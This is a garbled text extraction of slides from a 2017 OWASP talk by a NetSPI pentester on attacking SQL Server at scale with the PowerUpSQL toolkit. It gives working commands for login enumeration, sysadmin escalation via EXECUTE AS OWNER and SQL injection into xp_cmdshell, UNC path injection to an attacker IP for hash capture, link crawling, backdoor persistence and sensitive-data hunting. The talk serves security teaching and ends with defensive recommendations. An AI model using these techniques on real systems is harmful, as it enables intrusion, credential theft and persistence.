select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null

Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

Domain of SQL Server

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

Full RID of Domain Admins

group

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

6 Increment and repeat

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges DEMO

DEMOGet-SQLFuzzServerLogin

Invoke-SQLAuditWeakLoginPw

Get-SQLFuzzDomainAccount

>

Escalating Privileges Impersonation

1 Impersonate Privilege

bull Server EXECUTE AS LOGIN

bull Database EXECUTE AS USER

2 Stored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER

bull Signed with cert login

3 Automatic Execution of Stored Procedures

4 Agent Jobs

bull User Reader and Operator roles

5 xp_cmdshell proxy acount

6 Create Databse Link to File or Server

7 Import Install Custom Assemblies

8 Ad-Hoc Queries

9 Shared Service Accounts

10 Database Links

11 UNC Path Injection

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Prosbull Execute queriescommands in another user

context

Consbull Commands and queries are not limited in any waybull Requires database to be configured as trustworthy

for OS command execution

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE

Consbull No granular control over the database ownerrsquos

privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB

which is often a sysadminbull Requires database to be configured as trustworthy for

OS command executionbull Impersonation can be done via SQL injection under

specific conditionsbull Impersonation can be done via command injection

under specific conditions

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

SYSADMIN is often the

OWNER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull Use signed Procedures

o Create stored procedure

o Create a database master key

o Create a certificate

o Create a login from the certificate

o Configure login privileges

o Sign stored procedure with certifiate

o GRANT EXECUTE to User

Prosbull Can execute queriescommands in another user

contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as

trustworthy for OS command execution

Consbull Impersonation can be done via SQL injection

under specific conditionsbull Impersonation can be done via command

injection under specific conditions

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

PURE EVIL

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure

bull Stored procedures ca be configured to execute when the SQL Server service restarts

Prosbull Marking a stored procedure to run when the SQL

Server service restarts has many use casesbull Only stored procedures in the master database

can be marked for auto execution

Consbull No granular control over what context the startup

command is executed inbull All stored procedures marked for auto execution

are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures

can lead to execution as lsquosarsquo

Escalating Privileges DEMO

DEMOInvoke-SQLAudit

Escalating Privileges Invoke-SQLPrivEsc

Whooray for Automation Demo

>

Escalating Privileges DEMO

DEMOInvoke-SQLEscalatePriv

Escalating Privileges Invoke-SQLPrivEsc

DEMO

>

EscalatingPrivileges

SysAdmin to Service Account

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

Executing OS Commands xp_cmdshell Custom Assemblies (net) httpsekirkitycomseeclrly-fileless-sql-server-clr-based-custom-stored-procedure-command-execution Custom Extended Stored Procedures (C++) Agent Jobs httpswwwoptivcomblogmssql-agent-jobs-for-command-execution

o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package

Registry Autoruns File Autoruns

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

You donrsquot need to know the password crack a hash or PTH

Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin

Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016

bull We can now escalation from service account to LocalSystem

bull No patch that Irsquom aware of

bull Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)

Blog

httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system

Code

httpsgithubcomfoxglovesecRottenPotato

Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution

PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc

EscalatingPrivileges

Shared Service Accounts

Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts

1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them

One account to rule them all

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Access to HVA with shared domain service account

Key

HVA = High Value Application

LVA = Low Value Application

Execute commands and gather data from other

database servers via osql

3

Leveraging Shared MS SQL Server Service Accounts

EscalatingPrivileges

Crawling SQL Server Links

Escalating Privileges Crawling SQL Server LinksWhatrsquos a SQL Server link

SQL Server links are basically persistent database connections for SQL Servers

Why should I care

Short answer = privilege escalation

Public role can use links to execute queries on remote servers (impersonation)

SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)

Stored procedures can be executed (xp_cmdshell)

Links can be crawled

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain EvilKey

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB Link with

SA account

DB1

LVA

Execute SQL queries and local commands on

database servers via nested linked services

2

Escalating Privileges Crawling SQL Server Links

Penetration Test Stats

Database links exist (and can be crawled) in about 50 of environments wersquove seen

The max number of hops wersquove seen is 12

The max number of servers crawled is 226

Escalating Privileges Crawling Server Links

Old Script

Released 2012 httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler

New Functions

Author Antti Rantasaari httpsblognetspicomsql-server-link-crawling-powerupsql

Escalating Privileges Crawling Server LinksFunction Description

Get-SQLServerLink Get a list of SQL Server Link on the server

Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution

Examples

Get-SQLServerLinkCrawl -verbose -instance 1029101SQLSERVER2008ldquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoselect from mastersysdatabasesrdquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoexec masterxp_cmdshell lsquowhoamirsquordquo

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 13: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

SQL Server Basics Account TypesAccount Types

Windows Accountso Used to logino Mapped to SQL Server login

SQL Server Loginso Used to logino Mapped to database account

Database Userso Used to access databases

SQL Server Basics Common RolesImportant SQL Server Roles

Sysadmin role Database administrator account Think of it as the ldquoAdministratorsrdquo Windows group

but in SQL Server

Public role Only provides CONNECT permission Think of it as the ldquoEveryonerdquo Windows group but

in SQL Server

Finding SQL Servers

Find SQL Servers TechniquesAttacker Perspective Attack Technique

Unauthenticated List from file TCP port scan UDP port scan UDP broadcast Azure DNS dictionary attack (xdatabaseswindowsnet) Azure DNS lookup via public resources

Local User Services Registry entries

Domain User Service Principal Names Azure Portal PowerShell Modules

Find SQL Servers PowerUpSQLAttacker Perspective PowerUpSQL Function

Unauthenticated Get-SQLInstanceFile

Unauthenticated Get-SQLInstanceUDPScan

Local User Get-SQLInstanceLocal

Domain User Get-SQLInstanceDomain

Blog httpsblognetspicomblindly-discover-sql-server-instances-powerupsql

EscalatingPrivileges

Unauthenticated Domain User to SQL Login

Testing Login Access TechniquesWhat credentials can I use to log into discovered SQL Servers

Attacker Perspective Attack Technique

Unauthenticated Dictionary attacks using common user names and passwords

Unauthenticated Default passwords based on the SQL Server instance names

Local Windows or ADS Domain Account

Attempt to login using the current account

Testing Login Access PowerUpSQL CMDsWhat PowerUpSQL functions can I use to test for successful logins

Attack Technique PowerUpSQL Function

Dictionary Attack Invoke-SQLAuditWeakLoginPw

Default Password Test Invoke-SQLAuditDefaultLoginPw

Get-SQLServerLoginDefaultPw

Get-SQLInstanceDomain | Get-SQLServerLoginDefaultPw -Verbose

Local Windows or ADS Domain Account

Get-SQLConnectionTestThreaded

Testing Login Access PowerUpSQL CMDs

Testing Login Access Login CMD Examples

Attacker Perspective

Command Example

Unauthenticated Get-SQLInstanceUDPScan | Get-SQLConnectionTestThreaded -Verbose -Threads 15 -Username testuser -Password testpass

Local User Get-SQLInstanceLocal | Get-SQLConnectionTestThreaded -Verbose

Domain User Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15

AlternativeDomain User

runas noprofile netonly userdomainuser PowerShellexe

Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15

Testing Login Access Reusing Result Lists

Process Command Example

Enumerate Accessible Servers

$Accessible = Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15 | Where-Object $_Status ndashlike ldquoAccessiblerdquo

Get server information $Acessible | Get-SQLServerInfo -Verbose

Get database list $Acessible | Get-SQLDatabase -Verbose

Perform audit $Acessible | Invoke-SQLAudit -Verbose

Do I have to rerun instance discovery every time I want to run a command No

Testing Login Access Domain User Access

DEMO

Testing Login Access Demo

DEMO

>

Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers

Admins give them access

Privilege inheritance issue on domain systems = Public role access

SQL Server Express is commonly vulnerable

Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers

Admins give them access

Privilege inheritance issue on domain systems = Public role access

SQL Server Express is commonly vulnerable

Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers

Admins give them access

Privilege inheritance issue on domain systems = Public role access

SQL Server Express is commonly vulnerable

EscalatingPrivileges

SQL Login to SysAdmin

Escalating Privileges Weak PasswordsDidnrsquot we just cover this Yes but therersquos morehellip

Technique PowerUpSQL Function

Dictionary Attack Invoke-SQLAuditWeakLoginPw

Default Password Test Invoke-SQLAuditDefaultLoginPw

Local Windows or ADS Domain Account

Get-SQLConnectionTestThreaded

Escalating Privileges Weak Passwordshellipwe can also enumerate SQL Server logins and Domain Accounts

Technique PowerUpSQL Function

Blind Login Enumeration+

Dictionary Attack =

Super Cool

Invoke-SQLAuditWeakLoginPw

bull Enumerate all SQL Server logins with the Public role

bull Enumerate all domain accounts with the Public role

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

4 Increment number and repeat

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

4 Increment number and repeat

select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null

Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

Domain of SQL Server

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

Full RID of Domain Admins

group

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

6 Increment and repeat

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges DEMO

DEMOGet-SQLFuzzServerLogin

Invoke-SQLAuditWeakLoginPw

Get-SQLFuzzDomainAccount

>

Escalating Privileges Impersonation

1 Impersonate Privilege

bull Server EXECUTE AS LOGIN

bull Database EXECUTE AS USER

2 Stored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER

bull Signed with cert login

3 Automatic Execution of Stored Procedures

4 Agent Jobs

bull User Reader and Operator roles

5 xp_cmdshell proxy acount

6 Create Databse Link to File or Server

7 Import Install Custom Assemblies

8 Ad-Hoc Queries

9 Shared Service Accounts

10 Database Links

11 UNC Path Injection

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Prosbull Execute queriescommands in another user

context

Consbull Commands and queries are not limited in any waybull Requires database to be configured as trustworthy

for OS command execution

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE

Consbull No granular control over the database ownerrsquos

privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB

which is often a sysadminbull Requires database to be configured as trustworthy for

OS command executionbull Impersonation can be done via SQL injection under

specific conditionsbull Impersonation can be done via command injection

under specific conditions

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

SYSADMIN is often the

OWNER

